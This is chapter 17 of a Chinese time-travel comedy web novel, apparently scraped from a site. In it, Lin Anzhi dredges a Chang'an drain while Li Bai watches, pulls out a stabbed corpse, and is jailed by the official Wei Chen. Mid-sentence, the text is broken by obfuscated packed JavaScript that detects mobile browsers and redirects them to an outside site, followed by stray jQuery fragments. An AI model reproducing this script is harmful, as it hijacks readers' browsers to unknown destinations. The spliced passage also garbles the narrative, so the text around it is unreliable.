17.开局一个胡饼,结局喜提牢饭!

作品:《大唐第一嫌疑人,李白救我!

    京兆府的后厨,一处无人问津的角落,成了林安之的私人天堂。


    他怀里抱着十个热气腾腾的胡饼,那刚出炉的麦香混合着烤芝麻的焦香,钻入他的每一个毛孔,引得他口水决堤。


    幸福!这就是幸福!


    林安之小心翼翼地将胡饼码放整齐,像是在检阅自己的三军部队。


    他拿起一个,盘算着是直接啃,还是找点大葱,或者奢侈一把,去跟灶房的伙夫讨要一碟甜面酱。


    “总算能吃顿饱饭了,妈的,这该死的系统,总给老子整些掏马粪、倒夜香的幺蛾子,再来一个,我当场死给它看!”


    他内心疯狂吐槽,脸上却洋溢着地主家傻儿子般的纯粹快乐。


    就在他张开大嘴,准备对第一个胡饼“行刑”之际,一道悠然的声音伴随着醇厚的酒香飘然而至。


    “安之小友,饱食之后,可愿随太白往曲江池一游?观芙蓉,饮佳酿,岂不快哉?”


    李白拎着他那标志性的酒葫芦,不知何时已俏生生地立在旁边,看着林安之那副没出息的馋样,眼中满是笑意。


    林安之闻言,差点没把嘴里的口水咽岔了气。


    他猛地翻了个大大的白眼。


    曲江池?


    大哥,那是皇家园林,达官贵人开趴体的地方。


    我这一身破烂进去,不得被当成移动的污染源给叉出来?


    那地方的酒,我怕是把这十个胡饼卖了都喝不起一杯吧?


    他嘴上却毫不客气地回道:“不去!李学士,您那是神仙日子,我这凡人得去‘上班’了。”


    “上班?”李白显然对这个新词很感兴趣。


    林安之话音未落,那道熟悉的、冰冷无情的机械音,如同催命的闹钟,又一次在他脑海中精准地炸响。


    【叮!新的兼职任务已发布!】


    【任务名称:城市脉络清道夫】


    【任务内容:前往广德坊,清理龙须沟中段的淤积水草与垃圾,确保水流畅通。】


    【任务奖励:400文钱,油布防水长靴一双。】


    【任务失败:此后三日,每次躺下,都将感受万千蚊虫叮咬之幻痛。】


    林安之的脸色“唰”地一下,由幸福的红润转为死寂的惨白。


    幻痛?!


    一股源自灵魂深处的恐惧,让他浑身的汗毛都倒竖了起来。


    那是一种无法言喻的、仿佛有亿万只看不见的细小毒针,正在隔着时空,对准他每一寸肌肤的法则级威胁。


    这他妈比扣钱还狠!比被恶犬追咬还恐怖!


    他猛地从地上一跃而起,将啃了一半的胡饼塞回怀里,转身面对李白,脸上瞬间切换成一副悲天悯人、心怀天下的高人模样。


    “太白兄!”他义正词严,声音里带着一种不容置疑的庄重,“曲江池乃享乐之地,我辈身怀绝技,当以天下苍生为己任!”


    “我刚夜观天象,掐指一算,发现广德坊的龙须沟,有碍我大唐长安的龙脉流转。此乃国之大事,天降大任于我,我必须立刻前去,为国疏通龙脉,以保盛世太平。”


    李白先是一愣,随即看着林安之那张一本正经胡说八道的脸,忍不住抚掌大笑起来,笑得前仰后合,酒葫芦都差点脱了手。


    “好!好一个‘有碍龙脉’!哈哈哈哈……有趣,当真有趣!太白今日倒要看看,你林安之,是如何为我大唐‘疏通龙脉’的。”


    广德坊,龙须沟。


    这条贯穿数坊的排水暗渠,此刻正毫不吝啬地向空气中释放着它积攒了不知多少年的怨气。


    那股混合了淤泥、腐物和各种不明液体的恶臭,浓烈得几乎能将人的魂魄熏出窍。


    林安之换上系统出品的“油布防水长靴”,手持一根长柄铁耙,视死如归地站在黑不见底的沟水中。


    不远处的一座石桥上,李白姿态优雅地凭栏而立,一手举着酒葫芦,一手用一方洁白的丝帕,风度翩翩地掩着口鼻,双眼饶有兴致地看着沟里的林安之。


    那画面,宛如一幅流传千古的名画:《高士观渔图》,只不过画里的“渔夫”,是个掏粪工。


    “我顶你个肺啊……”林安之挥舞着沉重的铁耙,在黑泥里费劲地搅动着,内心早已将系统和李白骂了不下八百遍。


    就在这时,铁耙的尖齿似乎勾到了一个异常沉重的东西,触感绝非水草或石头。


    “嘿!”


    林安之吃奶的力气都使了出来,猛地向后一拽。


    “哗啦——”


    水花四溅,一个被水草和污泥包裹的巨大“麻袋”被他从沟底拖了出来。


    只是,这“麻袋”穿着一身漕帮常见的短打服饰,随着水草滑落,露出一张因浸泡而肿胀发白的脸,后心处,还明晃晃地插着一柄做工精致的乌木柄短刀。


    一具尸体?!


    林安之脸上的血色瞬间褪尽,瞳孔缩成了针尖大小,整个人当场石化。


    我艹!


    我的系统是不是绑定了柯南的GPS定位?!


    走到哪死到哪啊!


    他脑子里只剩下这一个念头。


    “不许动!封锁现场!”


    一声冰冷如铁的呵斥从岸边传来。


    紧接着,一队身着皂色官服,腰挎横刀,浑身散发着肃杀之气的官差,如同出笼的猛虎,迅速将整个区域包围。


    为首的,是一个约莫四十岁的中年人,面容冷峻,法令纹深邃,一双眼睛锐利如鹰隼,仿佛能洞穿人心。


    大理寺丞,魏琛。


    他的目光第一时间就锁定了站在尸体旁,浑身污泥,手里还紧紧抓着“凶器”(铁耙)的林安之。


    魏琛的眼中,瞬间充满了毫不掩饰的鄙夷与厌恶。


    “又是你这种藏于阴沟暗渠的城狐社鼠。说,为何杀人抛尸?”


    “魏寺丞,此事……”李白见状,从桥上飘然而下,刚要开口解释。


    “李学士!”魏琛却毫不客气地直接打断,语气生硬,“你名满天下,乃我大唐文宗,还请自重,莫要与这等腌臜之辈为伍。”


    他看了一眼现场,冷哼道:“人证(林安之)、物证(铁耙)、抛尸地俱在,还需多言?”


    一名仵作迅速上前验尸,一番检查后,忽然从尸体紧紧攥着的右手中,发现了一小片被水泡得发烂的纸角。


    魏琛接过那片脆弱的纸角,用镊子小心翼翼地展开,凑到眼前仔细辨认。


    片刻之后,他猛地抬起头,那双鹰隼般的眸子死死地盯住了林安-之,仿佛要将他生吞活剥。


    “我刚接到京兆府裴参军的协查通报,漕帮头目钱大彪一案,其关键信物‘情书’中,便有‘利刃’二字。而那送信之人,正是一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853494|173913||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    名乞丐!”


    魏琛手中的纸角上,赫然是两个因水浸而变得模糊,却依旧可以辨认的字——


    “……利刃”!


    林安之的脑子已经彻底宕机了。


    就在这时,那该死的系统提示音又来了。


    【警告!任务道具“龙脉疏通耙”有遗失风险,请宿主尽快回收,以免影响任务评级。】


    “耙!我的耙!”


    林安之急了,这可是系统发的装备,要是丢了,任务评奖会不会打折?钱会不会变少?


    他下意识地指着尸体旁那把沾满污泥的铁耙,对着魏琛大喊:“官爷!那……那把是我的!我要拿回来!”


    全场,死一般的寂静。


    魏琛听着这话,嘴角勾起一抹冰冷的讥诮。


    凶手,在指认凶器。


    他冷笑道:“你的?很好。这把杀人的‘利刃’,果然是你的。来人,给我拿下!”


    “非也,非也。”


    李白见状,不急不忙地摇了摇头,抚须长叹,又开始了他那标志性的吟唱:“他指非凡铁,乃指心中孽。利刃斩不断,冤魂沟中咽。”


    他看着魏琛,一副“你太年轻,看不懂”的表情,悠悠道:


    “魏寺丞,你难道还看不出吗?这位安之小友,此乃以身入局,行险招,欲引那藏在暗处的真凶现形啊!”


    魏琛额角的青筋狠狠地跳动了一下。


    他最烦的就是李白这种故弄玄虚、神神叨叨的调调。


    “引真凶?我看是疯言疯语,罪加一等!”


    魏琛怒极反笑,他此刻已然认定,眼前这个乞丐,背后必有高人(李白)指点,是一个集疯癫、凶残、狡猾于一体的犯罪团伙核心人物。


    两名如狼似虎的衙役立刻扑了上来,蒲扇般的大手就要抓住林安之的胳膊。


    林安之吓得魂飞魄散,眼看就要被按倒在地。


    情急之下,他猛地想起了自己那项百试不爽,堪称降维打击的保命绝技。


    他猛地吸足一口气,对着满脸铁青的魏琛,用尽了全身的力气,发出一声石破天惊、响彻长街的——


    “汪!汪汪!”


    那声音,尖锐,短促,充满了神经质的歇斯底里,赫然是泰迪犬护食时的咆哮。


    整个龙须沟畔,再次陷入了永恒般的死寂。


    所有人都被这惊世骇俗的操作给震在了原地。


    魏琛的脸,由铁青转为酱紫,再由酱紫化为一片冰寒。


    他缓缓抬起手,怒极而笑。


    “好!好一个丐帮!好一个‘黑话’暗号!以为当街装疯卖傻,就能脱罪吗?”


    他猛地挥手,声音如九幽寒冰:


    “将这狂徒,给我打入大理寺天牢。本官要亲自审讯。我倒要看看,是他的骨头硬,还是我大理寺的刑具硬!”


    看着被如狼似虎的衙役拖走的林安之,李白脸上的那份悠然与写意,第一次彻底消失了。


    取而代之的,是一抹前所未有的凝重与棘手。


    他知道,这次的麻烦,大了。


    这个魏琛,是个只信证据和规矩的“绝缘体”,远比裴宽那样的“粉丝”要难对付得多。


    而那封信的秘密,随着这具新尸的出现,仿佛变成了一个即将被引爆的火药桶。


    引线,就在林安之的身上。